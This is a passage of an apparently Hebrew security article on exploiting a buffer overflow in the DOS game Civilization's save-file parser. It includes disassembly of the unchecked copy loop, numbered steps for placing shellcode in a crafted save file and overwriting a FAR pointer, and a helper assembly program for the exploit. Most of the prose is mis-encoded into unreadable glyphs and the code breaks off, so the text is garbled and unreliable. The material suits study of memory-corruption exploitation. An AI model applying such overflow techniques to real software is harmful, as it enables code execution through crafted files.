 ˸ ˧˧ˮ˟˟  ˫˧˶˰  Σ ˶ ˵˥ˬ  ˸ˣ˧ˠˣ˪ˣˮ˩˦  Σ˸˧˧ˮ˟  ˧˞˪˲   ˪ ˟˸   x ˩ˣ  Φ˫˧˶˧˰˴˪  ˣˮ˧ˮ˧˟˷  ˢ˶˵ˬ˟˷   ˞ ˪  ˫˧˶˧˩ˬ  Σ ˵ ˥˷ˬˢ   ˭ ˧ˬˤ  

˧˶ˬˠ˪ ˶˸˞˟  ˧˪˞˶˷˧  ˵ ˧˸˰ ˭˧ˬˣ˧ ˫˷˟   ˰ ˯ˬ ˪˞ ˶˟˰ˢ Σ˞ˣˢˣ ˢ˞˶ˮ ˨˶˰˟ ˢ˩˩ Υ 

 

 

˟˪˷˟   ˫ ˧ˣ˯ˬ   ύ˶ˣ˸˟  ˡ˪˧  όΗ˧˸ˮ˟ˢ  ˶˷˲˞˷   ˸ ˣ˯ˮ˪   ˨ ˣ˶˰˪   ˸ ˞   ˧ ˴˟˵  ˢ˶˧ˬ˷ˢ  Σ ˧ ˮ˞ˣ  ˶˩ˣˤ   ˶ ˣ˶˧˟˟   ˨ ˧˞   ˨ ˶ˡ˟   ˪ ˪˩  

ˢˤ  ˨˲ˢ   ˸ ˞  ˳˟ˣ˵   s ˶˧ˬ˷ˢ   ˞ ˪˪   ˞ ˧˶˵   ˨ ˞   ˫ ˧ˬ˰˲˪  ˫˶ˠ   ˫ ˧˦˵˲˞˪   ˫ ˧˰˧˸˲ˬ  ˭ˣˠ˩  ˧ˣˮ˧˷  ˸ˣˬ˷   ˫ ˧˶˰ˢ  ˡˣ˰ˣ  Φ

ˢˮˣ˶˥˞˪  ˢˮ˲˸ˢ  ˧˪  ˸˴˵  ˭ˬˤ  ˧˸˦˪˥ˢˣ  ˵ˣˡ˟˪  ˢˬ  ˵ˣ˧ˡ˟  ˢ˶ˣ˵  ˧˴˟˵˟  ˢ˶˧ˬ˷ˢ  ˣ˪˪ˢ  Σ˧˸˰ˠˢˣ  ˸˪ˣ˩˧˪   ˸ ˮ˧˧ˮ˰ˬ  

π  ˸ˮ˧˰˦  ˳˟ˣ˵  ˢ˶˧ˬ˷  ˸ˬ˶ˣˠ˷  ˢ˴˶ˢ˪  ˪˷  ǎƘŜƭƭŎƻŘŜ  Φ ˟ ˣ˶  ˶ˬ˞ˬˢ  ˡ˵ˬ˸ˬ  ˶˵˥ˬ˟  ˢˤˢ  Σ˪˟˞  ˢ˧ˢ˧   ˯ ˣˮˣ˟  

˭˦˵  ˰ˠˣˮ˷ ˢˡˠ˞˪  ˸ ˧ˮ˟˶ˣ˞  ˸ ˰ˠˣˮˢ ˵˥˷ˬ˪  ˣˬ˴˰ Φ 

 

 

http://www.digitalwhisper.co.il/
https://en.wikipedia.org/wiki/Civilization_(video_game)
https://en.wikipedia.org/wiki/Civilization_(video_game)
https://en.wikipedia.org/wiki/Civilization_(video_game)
https://www.old-games.org/
https://www.old-games.org/
https://www.old-games.org/
https://www.old-games.org/
https://www.old-games.org/


 
 

   
ǿǿǿΦ5ƛƎƛǘŀƭ²ƘƛǎǇŜǊΦŎƻΦƛƭ 

˭ˣ˧˪ˠ  муу ,   ˦˯ˣˠˣ˞нлнс  он 
 

 ˵ ˥˷ˬˢ ˥ˣ˸˧ˮ 

˵˥˷ˬˢ ˧˸ˡ˶ˣˢ˷ Σ˶ˣˬ˞˩ Σ˶˸˞ˬ   ˰ ˯ˬ ˪˞ ˶˟˰ˢ  ˪ ˧˩ˬ н  ˫˧˴˟˵ ˫˧˧˦ˮˣˣ˪˶ Υ 

 ˳ ˟ˣ˵  ˪ ˡˣˠ a5р 

/L±Φ9·9 олпΣрмн  ˫ ˧˸˟ лрфурлфŘŘотуŜŀтмŘōннпŜпнлŀŎтлнмт 

hwLDLb![Φ9·9 олпΣрмн  ˫ ˧˸˟ уŎлфслŀфптлŎумуоŦŘŘууŎрумлŦмŦнпо 

 

˪ˡ˟ˢˢ   ˭ ˧˟  ˧ˮ˷  ˫˧˴˟˵ˢ  ˞ˣˢ  ˧˶˰ˤˬ   π  ˨˯˟   ˪ ˩ˢ  мл  ˫˧˸˟  Σ˶˷˞˩  у  ˫ˢˬ  ˫˧˞˴ˬˮ   ˟πƻŦŦǎŜǘ  ˪˷  лȄмм5ф9   ˨ ˣ˸˪  

˳˟ˣ˵ˢ Φ˶˷˞˩ ˫˧˷˶˲ˬ   ˫ ˸ˣ˞  ˡˣ˵˩ LƴǘŜƭ мсπōƛǘ ˭˸˧ˮ ˸ˣ˪˵˟   ˭ ˧˟ˢ˪  ˸ ˞  ˪ ˡ˟ˢˢ Υ 

; ORIGINAL.EXE -  the real game: "spend money"  
mov  bx, [ 0x64ca]      ; bx = current player index  
shl   bx, 1 
mov  ax, [ bp- 0xe4]     ; ax = amount to pay  
sub  [ bx- 0x3f0a ], ax   ; treasury[player] - = amount   ; treasury[] array 
is at 0xC0F6  
 
; CIV.EXE -  patched: treasury is pinned to a constant  
mov  bx, [ 0x64ca]  
shl   bx, 1 
mov  ax, 0x77ff         ; 0x77FF = 30719  
mov  [ bx- 0x3f0a ], ax   ; treasury[player] = 30719  
nop 

 

˶˷˲˞  ˸ˣ˞˶˪  ˢ˷˰ˬ˪˷ /L±Φ9·9 ˞ˣˢ ˵˥˷ˬ  ˫˰ ˴ ˦˧ π  ˫ˣ˵ˬ˟  l ˧˶ˣˢ˪ ˱˯˩ ˶˴ˣ˞ˢˬ Σ˶˴ˣ˞ˢ  l ˧ˬ˸ ˪˟˵˧   ˨ ˶˰  

 ˪ ˷  олтмф  ΦπsƴƻǇ  ˱ˣ˯˟  Σ˟ˠ˞  Σ˞ˣˢ   ˭ ˬ˧˯  ˵ˤ˥   ˨ ˩˪  ˣˢ˷˧ˬ˷  ˢ˷˰  ǇŀǘŎƘ  ˧ˮˡ˧  Σ ˶ ˬ˷ˣ  ˪˰   x ˸ˣ˞   ˨ ˶ˣ˞  ˪˷  ˳˟ˣ˵ 

˧ˡ˩  ˶ ˬ˷˪ ƻŦŦǎŜǘ π˫˧ ˳˟ˣ˵˟ ˫˧˰˧ˠˬ˷  ˶ ˥˞  ˨˩  Φ ˪ ˩˟  ˢ˶˵ˬ Σˢˡˣ˵ˮˢ   ˞ ˧ˢ  ˧ˮ˞˷  ˪ ˣ˩˧ ˥˸ˮ˪ ˫ˠ   ˸ ˞  /L±Φ9·9   ˫ ˠˣ  

˸˞ hwLDLb![Φ9·9 π ˫˧˪ˡ˟ˢˢ ˫ˢ˧ˮ˧˟ ˫˧˥˧ˮˤ Φ 

 

˰ˣ˴˧˟ ǳƴǇŀŎƪƛƴƎ 

˥ˣ˸˧ˮ  ˧˦˦˯  ˪˷  /L±Φ9·9  ˞˧˟ˬ  ˢ˧˰˟˪  π  ˳˟ˣ˵ˢ  ˞ˣˢ  ˳˟ˣ˵  a½  ˪˟˞  ˭˧˞  ˣ˟  ǊŜƭƻŎŀǘƛƻƴǎ  ˪˪˩˟  ΣˢˣπŜƴǘǊȅπǇƻƛƴǘ  

 x ˪˷  ˞ˣˢ  ǎǘǳō  ˭˦˵  Φ˱˯ˣˮ˟   ˭ ˸˧ˮ   ˸ ˣˢˤ˪   ˶ ˲˯ˬ   ˸ ˣˤˣ˶˥ˬ  ˸ˣ˪˧˪˲ˬ  Σ ˭ ˢ˧ˮ˧˟   tŀŎƪŜŘ ŦƛƭŜ ƛǎ ŎƻǊǊǳǇǘ  π  ˭˩˞  Σ ˳ ˟ˣ˵ˢ  

ˣˬ˴˰ ˸ˣ˞ˡˣˣ˟ ǇŀŎƪŜŘ Σ˸˧˲˧˴˲˯ˣ π  ˫ ˰ ˢ˧ˠˣ˪ˣˮ˩˦  ˸˞˶˵ˮ˷  aƛŎǊƻǎƻŦǘ 9·9t!/Y Φ 

http://www.digitalwhisper.co.il/
https://moddingwiki.shikadi.net/wiki/Microsoft_EXEPACK
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˧ˮ˞  ˥ˣ˦˟  ˷ ˧˷  ˨˶ˡ  s ˪˵  ˶˸ˣ˧ ˸ˣ˷˰˪ ˸˞  ˢˤ  Σ˪˟˞   s ˬ  ˧˸˧˷˰˷  ˞ˣˢ  ˷ ˬ˸˷ˢ˪  π˟¦ƴƛŎƻǊƴ  Σ ˭ ˣ˰˦˪   ˸ ˞   ˳ ˟ˣ˵ˢ  

˦ˮˬˠ˯˪  ˣˢ˷˪˩  Σ˰ˣ˟˵˪  ˫ ˧˩˶˰  π˪/{κLtΣ {{Υ{t  ˵˲˯˪ˣ t{t  ˫˧˞˸ˬ  ˧˪ˬ˧ˮ˧ˬ  Φ ˟ ˪˷˟  ˢˤ  Σ˧˸ˬ˷  ōǊŜŀƪǇƻƛƴǘ   ˪ ˰  

Lb¢ нмƘ  ύˢˤ  πs5h{ ƛƴǘŜǊǊǳǇǘ   ˧ ˦˶ˡˮ˦˯ˢ  Σ s ˶˵ˬ˟ˣ  ˣˮ˪˷  /L±Φ9·9  ˞˶ˣ˵   x ˪   ˧ ˡ˩  ˪˟˵˪   ˸ ˞  ˸˯˶ˠ  πs5h{  Σό ʕ ˞ˣ  

˦ˣ˷˲ ˶˷˲˞  ˰˴˟˪ ŘǳƳǇ ˭ˣ˶˩˧ˤˢˬ Σ˭ˣˣ˧˩ˬ ˷ π9·9t!/Y  ˶ ˟˩ ˫˧˧˯  ˸ ˞ ˣ˸˪ˣ˰˲ Φ 

˟˪˷˟ ˢˤ ˧˸˧˪˧ˠ ˶˲˯ˬ   ˫ ˧˶˟ˡ  ˫ ˧ˮ˧˧ˮ˰ˬ Υ 

1Φ sπDGROUP  ύ˰˟˵ˮ˷   ˪ ˰ ˧ˡ˧  sπData Segment  ˣ˞  DS  ˶ ˣ˴˧˵˟ ό ˞ ˣˢ ˵ˣ˧ˡ˟ sπload base   l ˣ˰ˣ 0x2A1B Φ sπ

DGROUP  Σ˟ˠ˞  Σ˞ˣˢ  ˦ˮˬˠ˯ˢ  ˣ˟˷  ˪˩  πsData  ˟˷ˣ˧  π  ˪˪ˣ˩  BSS  Σ˫˧˧˪˟ˣ˪ˠ  Σ˫˧˰ˣ˟˵  ˣ˪˧˲˞ˣ  ˸˧ˮ˯˥ˬˢ  Φˣˮ˥ˮ˞  

˷ˬ˸˷ˮ ˢ˟˶ˢ ˢˡ˟ˣ˰˟  x ˤ ˨˪ˢˬ˟  ˶ ˬ˞ˬ ˢˤΦ 

2Φ ˵˥˷ˬˢ  ˷ˬ˸˷ˬ   ˟πoverlays  Σ˭˩˪ˣ  ˵˪˥  ˡ˟˩ˮ  ˰ˡ˧ˬˢˬ  ˡˣ˵ˢˣ  ˣˮˮ˧˞  packed  Φˢˤ  ˶˧˟˯ˬ  ˫ˠ  Σ˟ˠ˞  Σˢˬ˪  

˶˷˞˩  ˣˮ˥˟  ˸˞  ˫˧˪ˡ˟ˢˢ  ˭˧˟  ORIGINAL.EXE  π˪CIV.EXE  ˣˮ˧˞˶  ˫˧˪ˡ˟ˢ  ˫˧ˮ˸˧ˮ˷  ˪˪˩˟  π˪  disassemblyΦ 

 

˥ˣ˸˧ˮ sπ ƳŀǇ ƭƻŀŘŜǊ 

˟˪˷˟  ˢˤ  Σ ˫ ˣ˵ˬ˟   ˰ ˴˟˪  ˢ˯ˡˮˢ   ˶ ˣ˥˞˪  ˢ˞˪ˬ   ύ s ˸˧˧ˢ˷  ˸˥˵ˣ˪   ˭ ˬˤ   ˟ ˶  ˧˪ˣ˞  όπ   ˧ ˸˪˩˸˯ˢ   ˪ ˰  hǇŜƴ/ƛǾhƴŜ  Φ

˶˟ˣˡˬ  ˪˰  ˦˵˧ˣ˶˲  ƻǇŜƴπǎƻǳǊŎŜ  ˷ˬˬˬ˷  ˷ˡ˥ˬ  ˸˞  ˵˥˷ˬˢ  ˸˲˷˟   І/  Σ˯˯ˣ˟ˬˣ  ˪˰  ˢ˯ˡˮˢ  ˶ˣ˥˞˪   s ˸˷˰ˮ˷  

˨˶ˣ˞˪   ˫ ˧ˮ˷ˢ  ˵˥˷ˬ˪  ˧˶ˣ˵ˬˢ  Φ˭˩˪  Σ˶˷˞˩  ˢ˸˧˧ˢ  ˧˪  ˢ˶˰˷ˢ  Σ˫ˡˣ˵  ˪˩   ˧ ˸˪˩˸˯ˢ  ˪˰  ˷ˣˬ˧ˬˢ  ˪˷  

hǇŜƴ/ƛǾhƴŜ ˶˥˞˪ˣ ˭˩ˬ ˧˸˞˴ˬ  ˸ ˞  ˷ ˣˬ˧ˬˢ ˟π ŘǳƳǇ ˫ˡˣ˵ˬˬ π ˢˤ  ˶ˤ˰ ˡ˞ˬ  ˳˧˞ˢ˪  ˸˞ ˶˵˥ˬˢ Φ 

 ˧ ˴˟˵ ˢ˶˧ˬ˷ ˟π/ƛǾƛƭƛȊŀǘƛƻƴ ˫˧˰˧ˠˬ ˸ˣˠˣˤ˟ Υ 

¶ ˧˴˟˵  CIVIL#.SVE  ύ˭ˬ˧˯ˢ    І ˭ ˧˧˴ˬ  ˶˲˯ˬ  Σ ˪ ˷ˬ˪  CIVIL0.SVE  όπ   x ˢˤ  ˳˟ˣ˵   ˪ ˡˣˠ˟   ˰ ˣ˟˵   ύотΣурс  ˫˧˸˟  ό

 ˵ ˧ˤ˥ˬ˷ ˸˞ ˟˴ˬ ˵˥˷ˬˢ ύ˟˴ˬ ˸ˣˬˡ˵˸ˢˢ  ˵ ˥˷ˬ˟ ˪˷ˬ˪ Φό 

¶  ˧ ˴˟˵ CIVIL#.MAP π ˸˲ˬ ˫˪ˣ˰ˢ ˪˷ ˵˥˷ˬˢ Φ 

 

˳˟ˣ˵  ˢ˲ˬˢ  ˭˰˦ˮ  ˭ˣ˷˞˶  Σ˭˲ˣ˞˟ˣ  ˭˧˧ˮ˰ˬ  Σ˰˧ˠˬ  ˦ˬ˶ˣ˲˟  ˶˩ˣˬ  ˫˷˟  tL/ LƳŀƎŜ  ύ˪˰  ˨ˬ˯  hǇŜƴ/ƛǾhƴŜ  Σ

ˢ˧˴˵ˮˣ˲ˢ ˸˧˦ˮˣˣ˪˶ˢ ˸˞˶˵ˮ  [ƻŀŘDŀƳŜ5ŀǘŀ  Φό 

 

 

 

 

 

http://www.digitalwhisper.co.il/
https://www.unicorn-engine.org/
https://en.wikipedia.org/wiki/Program_Segment_Prefix
https://codeberg.org/rhorvat/OpenCivOne
https://codeberg.org/rhorvat/OpenCivOne/src/branch/master/src/Game/CodeObjects/GameLoadAndSave.cs
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˦ˬ˶ˣ˲ˢ  x ˬ˴˰  ˪ ˧˩ˬ ˢˬ˧˶ˤ   ˪ ˷ ˫˧˵ˣ˪˟ ˦ˬ˶ˣ˲˟  ˞ ˟ˢ Υ 

 s ˡ˷  ˪ ˡˣˠ  ˶ ˣ˞˧˸ 

ǎƛƎƴŀǘǳǊŜ н  ˫ ˧˸˟ ˠˣ˯  ˵ ˣ˪˟ˢ 

ƭŜƴƎǘƘ н  ˫ ˧˸˟  ˨ ˶ˣ˞ sπ Řŀǘŀ   ˫ ˧˸˟˟ 

Řŀǘŀ ˢˮ˸˷ˬ ύƭŜƴƎǘƘ ˫˧˸˟ ό ˰ˡ˧ˬˢ  ˧ ˬ˪ˣˠˢ 

 

˶˷˞˩ ˧ˠˣ˯ sπǎƛƎƴŀǘǳǊŜ ˫˧˞˟ˢ ˫˧˩ˬ˸ˮ Υ 

˨˶˰ ǎƛƎƴŀǘǳǊŜ  ˶ ˣ˞˧˸ 

лȄолпр πs Řŀǘŀ ˠ˴˧˧ˬ ˸˦˪˲  ˫ ˧˰˟˴  ύǇŀƭŜǘǘŜ  ό˵ˬˣ˰˟  у   ˸ ˣ˧˟˧˯ 

лȄолп5 πs Řŀǘŀ ˠ˴˧˧ˬ ˸˦˪˲  ˫ ˧˰˟˴  ύǇŀƭŜǘǘŜ  ό˵ˬˣ˰˟  му  ˸ ˣ˧˟˧˯ 

лȄолру ˰ˡ˧ˬ  ˢˮˣˬ˸ ύ˯ˣ˥ˡ  ˫˰  [½² x π w[9 ό 

 

˪˰ˣ˲˟  Σ˧˴˟˵ sπa!t ˫ˢ   ˵ ˣ˪˟ ˡ˧˥˧ ˠˣ˯ˬ  олрулȄ Σ˪ˡˣˠ˟  онл ˪˰  нлл Φ 

 

 s ˷˪ˣ˥ˢ 

˰˦˵  ˡˣ˵ˢ  ˭˰ˣ˦˷  ˶˯˶˲ˬˣ   ˸ ˞  ˧˴˟˵  πs  tL/  ˦ˣ˷˲  ˸˧˯˥˧  Φ˧˸˷ˬ˸˷ˢ  π˟·π5h{.ƻȄ   ˨ ˶ˣ˴˪  ˠˣ˟˧ˡ  π   ˸ ˣ˟ˣ˸˩ˢ  

ˣ˞˶˸˷  ˭ ˞˩ ˸ˣ˪ˣ˩˧  ˸ˣ˧ˢ˪ ˸ˣˮˣ˷ ˸˥˸ ˸ˣ˴˶ˢ ˸ˣˮˣ˷  Σ˪˟˞ s πƻŦŦǎŜǘπ˫˧ ˫˧˶˞˷ˮ ˫˧ˢˤ  Φ 

 

 

 

http://www.digitalwhisper.co.il/
https://en.wikipedia.org/wiki/Lempel%E2%80%93Ziv%E2%80%93Welch
https://en.wikipedia.org/wiki/Run-length_encoding
https://dosbox-x.com/
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ˢˮˢ ˡˣ˵ˢ  ύ˶˥˞˪ ˦˰ˬ   ˶ ˣ˴˲˷ ˸ˣ˶˰ˢˣ  ˧ ˪˷ Υό 

0823:10a8  lodsw                    ; ax = block  signature  
0823:10ad  cmp   al, 0x58           ; low byte 0x58 == image block  ( 0x3058)?  
0823:10 af   je    0x112a             ; image handler (LZW/RLE)  
0823: 10b1  mov   di, ds  
0823: 10b3  mov   es, di             ; ES = DS = DGROUP  
0823: 10b5  lea   di, [ 0xc926]       ; fixed destination buffer, no size known  
0823: 10b9  cmp   ax, 0x304d 
...  
0823:10 cf   push  di  
0823:10d0  stosw                    ; store signature word into the buffer  
...  
0823: 10e9  lodsw                    ; ax = block  LENGTH  (straight from the 
file!)  
0823:10ee  stosw                    ; store length  word into the buffer  
0823:10ef  mov   cx, ax  
0823:10f1  shr   cx, 1              ; cx = length / 2 words 
0823:10f3  jcxz  0x1115 
0823:10f5  ...                      ; (buffer - refill plumbing)  
0823: 1112  stosw                    ; copy loop: file - > ES:DI ( 0xC926+)  
0823: 1113  loop  0x10f5              ; repeated length / 2 times. NO BOUNDS 
CHECK. 

 

 s ˷˪ˣ˥ˢ   ˭ ˞˩  ˢ˶ˣ˶˟   π  ˪˩  ˵ˣ˪˟  ˳˟ˣ˵˟  πstL/  ˢ˷πǎƛƎƴŀǘǳǊŜ   x ˪˷  ˞˪   ˫ ˧˧˸˯ˬ   ˟πрулȄ  ύ˪˷ˬ˪  ΣолпрлȄ   ˧ ˲˩  

 x ˮ˧˧˴˷  ˢ˪˰ˬ˪  ό ˵ ˸˰ˣ˧  ˣˬ˩   ˞ ˣˢ˷  ˪˞   ˶ ˲˞˟  ˪ˡˣˠ˟   ˰ ˣ˟˵   ˟ -DGROUP:0xC926  ˣˤ  ˢ˧˰˟  ˭ˣˣ˧˩ˬ  π˷ƭŜƴƎǘƘ  

 ˞ ˶˵ˮ   ˨ ˣ˸ˬ   ˳ ˟ˣ˵  πsa!t  ˞˪˪   ˞ ˣˡ˧ˣ  ˞ˣˢ˷   ˫ ˧˞˸ˬ   ˨ ˣ˸˪  ˣ˸ˣ˞  ˶˲˞˟  Σ ˭ ˩˪ˣ   ˷ ˧  ˣˮ˪   ˸ ˵˸˰ˢ  ˫˧˸˟   s ˟˧˸˩ˣ   ˪ ˷  

 ˰ ˡ˧ˬ  ˣˮˮˣ˴˶˩  ˪˥ˢ  ˣ˸ˣ˞ˬ  ƻŦŦǎŜǘ  ύ˶ˣˬ˞˩  Σ0xC926  Σό˭ˣˣ˧˩ˬˣ  ˣˮ˥ˮ˞˷  ˫˧˦˪ˣ˷  π˟срΣрор  ˫˧˸˟  π  ˣˮ˥ˮ˞   ˫ ˧˪ˣ˩˧  

˯ˣ˶ˡ˪  ˰ ˡ˧ˬ  ˟ ˶ ˡˣ˞ˬ ˶ˬ˷ˮ˷  ˧˶˥˞ ˶˲˞˟ˢ Φ 

ˢ˷˰ˬ˪  Σ˧˸˧˪˧ˠ  ˰˧˟˴ˬ  ˢ˧˴˵ˮˣ˲˪  ˶ˬ˷ˮ˷  ˸˟ˣ˸˩˟  5Dwh¦tΥлȄ9уо!  Σˠˣ˯ˬ  C!w ǇƻƛƴǘŜǊ  ύ˭ˣ˶˩˧ˤ˟   ˫ ˰  

˫˧˦ˮˬˠ˯ ˸ˣ˰ˬ˷ˬˢ ˞˧ˢ ˰˧˟˴ˬˢ˷   ˶ ˬˣ˷  ˫ ˠ ˶ˠˣ˞  ˦ˮˬˠ˯ ˫ˠˣ ƻŦŦǎŜǘ Υό 

ŦŦ мŜ оŀ Ŝу  ƭŎŀƭƭ ώлȄŜуоŀϐ Τ Ŏŀƭƭ ώлȄ9уо!ϐ όƻŦŦǎŜǘύ Υ ώлȄ9уо/ϐ όǎŜƎƳŜƴǘ)  

 

ˢ˧˴˵ˮˣ˲  ˣˤ  ˞˧ˢ   ˸ ˷ˬ˷ˬ  ˧ˣ˪˧ˬ˪  ˷ˡ˥ˬ ˪˷  πsƛƴǇǳǘ ōǳŦŦŜǊ ˳˟ˣ˵ˢˬ Σ˸˞˶˵ˮˣ   ˪ ˩  ˫˰˲ ˞˪ˬ˪ ˣ˸ˣ˞  ˷ˡ˥ˬ   ˫ ˞  

˷˧  ˨˶ˣ˴  Φ˫˧˷ˮ  ˟˪  π˷лȄ9уо!  ˢˤ  ˵˥˶ˬ˟  ˪˷   лȄмCмл˸˪˥˸ˢˬ  ˢ˟˧˸˩ˢ  ˣˮ˪˷  ˶˲˞˟˪  ˰ˣ˟˵ˢ  ˭˯˥˞ˬ˷   ˸ ˞  

˰ˡ˧ˬˢ  ˳˟ˣ˵ˬ  πs a!t Σ˭˩˪ˣ ˣˮ˥ˮ˞  ˫˧˪ˣ˩˧ ˯ˣ˶ˡ˪ ˸˞  ˰˧˟˴ˬˢ ˣˤ˧˞˪   ˸ ˟ˣ˸˩  ˞˟˷  ˣˮ˪  Φ˭˟ˣˬ˩  Σ˸˯˧˶ˡ   ˰ ˧˟˴ˬˢ  

˫˰ ˨˶˰   ˫ ˣ˶ˠ˧˷  x ˪  ˰ ˧˟˴ˢ˪ ˫ˣ˵ˬ˪   x ˮ˸˶˧˥˟˪ π ˢ˷ˣ˶˧˲ ˸˴˶ˢ ˡˣ˵ ˧˷˲ˣ˥  ˨ˣ˸˟ ˵˥˷ˬˢ Η 

 

http://www.digitalwhisper.co.il/
https://en.wikipedia.org/wiki/Far_pointer
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ˢ s ˷ˬ˷ˢ 

 ˸ ˧˧ˠ˦˶˦˯˞ ˢ˷ˬ˷ˢˢ ˣˮ˪˷ ˢ˦ˣ˷˲  ˸ ˧˯˥˧ Υ 

1Φ ˟ˣ˸˩ˮ  ˵ˣ˪˟  ˠˣ˯ˬ  0x3045  ύ˶ˣˬ˞˩  Σ˸˦˪˲  ˫˧˰˟˴ ˵ˬˣ˰˟  у ˸ˣ˧˟˧˯  ό˧ˡ˩ ˫ˣ˶ˠ˪  ˢ˵˸˰ˢ˪  ˢ˪˧ˠ˶   ˰ ˴˟˸ˢ˪  

ύˡˣˠ˧ˮ˟  ˢ˵˸˰ˢ˪ ˢ˩˧˶˴˷ ˥ˣ˸˲˪ LZW  πxRLEΦό 

2Φ ˸˞ sπshellcode  ˣˮ˪˷ ˫˧˷ˮ   ˸ ˪˧˥˸˟ sπdata Σ˨˩   ˞ ˣˢ˷ ˟˸˩˧˧ ˪ π DGROUP:0xC926 Φ 

3Φ ˟πoffset  ˪˷   0x1F10˟ˣ˸˩ˮ  ˸˞  πsFAR Pointer   l ˡˣ˵˧˷  ˸˞  ˸˟ˣ˸˩ˢ  DGROUP:0xC926  Φˢ˪ˣ˰˲   x ˤ  

˸˯˶ˣˡ   ˸ ˞  ˰˧˟˴ˬˢ   ˸ ˧˧˴˵ˮˣ˲˪  πsrefill  ˨˩  ˢ˷˰ˬ˪˷  πsshellcode  ˣˮ˪˷  ˳ˣ˶˧  ˫ˣ˵ˬ˟  Φ ˫ ˧˷ˮ  ˟˪  ˢˤ˷   ˶ ˬˣ˞  

˪ˡˣˠ˷ sπshellcode ˣˮ˪˷  ˞˪  ˪ˣ˩˧  ˶ˣ˟˰˪  ˪ˡˣˠ ˢˤ  π ˪˟˞  тΣфрн ˫˧˸˟ ˢˤ  ˧ ˧ˡ ˶˸ˣˢˣ ˪πshellcode ˧ˮ˧˴˶ Φ 

4Φ ˷ˣ˶ˡˮ  ˪ˡˣˠ˷  πspayload  ˪˪ˣ˩ˢ  ˣˮ˪˷  ˞˪  ˶ˣ˟˰˧  ˸˞  0x2000  Φˢ˷˧˶ˡ  ˣˤ  ˸ˬ˶ˣˠ  ˨˩˪  ˸˧˧˴˵ˮˣ˲˷  πsrefill  

˞˪ ˞˶˵˧˸  ˡ˰  ˫ˣ˧˯ ˢ˟˧˸˩ˢ  ˪˷ sπpayload ˣˮ˪˷ Φ 

5Φ ˶˷˞˩ sπparser ˫˧˧˯ˬ ˸˞ ˢ˵˸˰ˢˢ ˞ˣˢ ˞˶˵˧ ˪πrefill Σˢˬ ˫ˣ˶ˠ˧˷  π˪shellcode ˣˮ˪˷ ˳ˣ˶˪Φ 

 

˸˧˧˰˟ sπ5Dwh¦t 

˧ˡ˥   ˭ ˧˰ˢ  ˫˩˧ˮ˧˟  ˣˬ˧˷˧  ˟˪  ˦˶˲˪  ˭˟˴˰ˬ  π  ˣˮ˥ˮ˞  ˫˧˩˧˶˴  ˡˡˣ˵˪  ˸˞  5Dwh¦t   ˪ ˟˞  ˭˧˞  ˣˮ˪  ˠ˷ˣˬ  ˢˬ  ˞ˣˢ  Φ x ˪˞  

˫˩ˬ  ˫˧˞˧˵˟˷  ˶˸ˣ˧  ˸˷ˬ˷ˢ˟  ˸ˣ˷˪ˣ˥  ˫˧˪ˣ˪˰  ˸ˣˢ˸˪  ˢˬ˪  ˞˪  ˰˴˟˪  ˢ˯˧˶ˡ  ˸˧˵˪˥  π  ˫ˣ˵ˬ˟  ˯ˣ˶ˡ˪  ˸˞   ˪ ˩  

πsC!w ǇƻƛƴǘŜǊ  Σ ˯ ˣ˶ˡ˪   ˵ ˶  ˸˞  πsƻŦŦǎŜǘ   ύˡˡˣ˵ˬ˷  ˧ˮ˲˪  ˦ˮˬˠ˯ˢ  ΦόΗ s ˟˧˯ˢ   ˨ ˩˪   ˞ ˧ˢ   ˨ ˶˰ˢ˷   ˪ ˷   ˦ ˮˬˠ˯ˢ  

 l ˡˣ˵ˬ˷  π˟C!w ǇƻƛƴǘŜǊ  ˠ˴˧˧ˬ  ˸˞   ˶ ˠˣ˞  /{  Σˣˮˮ˧˞˷   s ˣˣ˷  ˣ˩˶˰˟   ˨ ˶˰˪   ˪ ˷  5{   ύˢˣˣ˷˷   ˪π5Dwh¦t  ˣ˟˷   s π  

ǎƘŜƭƭŎƻŘŜ   x ˮ˪˷ ˧˥ Φό˭˩˪ Σ˭˧˞  ˣˮ˪ ˢ˶˧˶˟ ˞˪˞  ˸˰ˡ˪  ˸˞ ˨˶˰ˢ ˪˷ 5{ Φ 

ˣˮ˪ˤˬ˪  Σ˨˶˰ ˢˤ ˰ˣ˟˵ ˭˧˟  ˸ˣ˞˯˶ˠ ˸ˣˮˣ˷   ˪ ˷ ˸˩˶˰ˬ ˢ˪˰˲ˢˢ Φˢˮˢ ˢˬ  ˞ ˴˧˷ ˧˪  Σ˪˷ˬ˪  Σ˸ˣ˟˧˟˯˟   ˸ ˣˮˣ˷ Υ 

˸˟˧˟˯  s ˴˶ˢ ˨˶˰ 5Dwh¦t 

5h{.ƻȄ лȄн..5 

5h{.ƻȄπ· лȄоно9 

 

ˢˡ˧ˬ˟ ˢ˴˶ˮˣ ˳˧˶ˢ˪  ˸ ˞ ˦˧ˣ˪˲˯˵˞ˢ ˣˮ˪˷ ˢ˟˧˟˯˟ ˢˮˣ˷ Σ˨˶˦˴ˮ  ˵˧˯ˢ˪  ˸ ˞ ˨˶˰ˢ ˭ˣ˩ˮˢ  ˪˷  5Dwh¦t  Φ 

ˢˤ  ˞˪  ˢ˷˵  ˡ˥ˣ˧ˬ˟  ς  ˱˶ˣ˴ˬ ˞˟ˢ ˡˣˬ˰˟  ˡˣ˵  ˪˷  ˸˧ˮ˩˸  ˧˸˟˸˩˷  ˫˷˟  {9DCLb5Φ/ha  ˢ˷ˣ˰˷  ˵ˣ˧ˡ˟  ˸˞  

ˢˤΥ 
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; ---------------------------------------------------------------------------  
;                                                                           ;  
;  File :        segfind. asm                                                 ;  
;  Purpose :     Prints  out  the DGROUP value .                                ;  
;  Remarks:     -  Compiled  as COM: nasm - f bin segfind. asm - o SEGFIND.COM   ;  
;               -  Our exploit relies on the load base, which is  different   ;  
;                 between DOSBox and DOSBox- X, for  example.                 ;  
;               -  To use the exploit, use -- dgroup 0x( value ).               ;  
;                                                                           ;  
; ---------------------------------------------------------------------------  
bits 16 
org 0x100 
  
    ; Get the section and add the offset  
    mov     ax, cs  
    add     ax, 0x2a2b      ; Offset  of  DGROUP 
  
    ; Prepare  the hexadecimal buffer  
    mov     di, hexbuf  
    mov     cx, 4 
  
.h:  
  
    ; Translates  the value  to printable characters  
    rol     ax, 4 
    mov     bl, al  
    and     bl, 0x0f  
    cmp     bl, 10 
    jb      .d  
    add     bl, 'A' - 10 
    jmp     .p  
  
.d:  
  
    ; Handles  digits  
    add     bl, '0'  
  
.p:  
  
    ; Add the value  to the hexadecimal buffer  
    mov     [di], bl  
    inc     di  
    loop    .h  
  
    ; Prints  out  the buffer  
    mov     ah, 0x09 
    mov     dx, msg  
